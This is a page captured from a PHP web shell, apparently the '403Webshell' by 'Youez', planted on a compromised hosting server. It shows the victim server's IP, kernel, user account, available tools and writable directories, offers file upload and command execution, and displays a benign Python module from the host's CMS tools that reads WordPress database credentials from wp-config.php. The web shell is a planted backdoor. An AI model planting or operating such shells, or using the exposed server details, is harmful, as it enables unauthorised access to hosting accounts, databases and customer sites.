403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.217.89
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/dedrads/cms_tools/mods/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dedrads/cms_tools/mods/wordpress.py
#! /usr/lib/rads/venv/bin/python3
"""Subclass for WordPress CMS"""
# Author: Daniel K

import os
import logging
from typing import TYPE_CHECKING
from cms_tools.db import simple_query
from cms_tools.cms import CMS
from cms_tools.cms import VariableData

if TYPE_CHECKING:
    from cms_tools.cms import CMSFind

LOGGER = logging.getLogger(__name__)


class WordPress(CMS):
    '''
    Class for WordPress installations
    '''

    def setup(self):

        self.type = 'WordPress'

        self.config = os.path.join(self.directory_root, 'wp-config.php')

        self.db_name_data = VariableData('php_define', 'DB_NAME', self.config)
        self.db_user_data = VariableData('php_define', 'DB_USER', self.config)
        self.db_pass_data = VariableData(
            'php_define', 'DB_PASSWORD', self.config
        )
        self.db_pref_data = VariableData(
            'php_variable', 'table_prefix', self.config
        )
        self.db_host_data = VariableData('php_define', 'DB_HOST', self.config)

        self.cms_directories = [r"wp-"]

        self.version = VariableData(
            'php_variable',
            'wp_version',
            os.path.join(self.directory_root, 'wp-includes/version.php'),
        ).get_value()

        return True

    def post_tables_hook(self):
        '''Perform operations which require working db connection'''

        result = simple_query(
            self, 'option_value', 'options', 'option_name', 'siteurl'
        )

        if result is not None:
            self.siteurl = result[0]

        return True


def register_cms(cms_find_instance: 'CMSFind'):
    '''
    Register self with current cms_find_instance
    '''

    cms_find_instance.add_quick("WordPress", WordPress)

Youez - 2016 - github.com/yon3zu
LinuXploit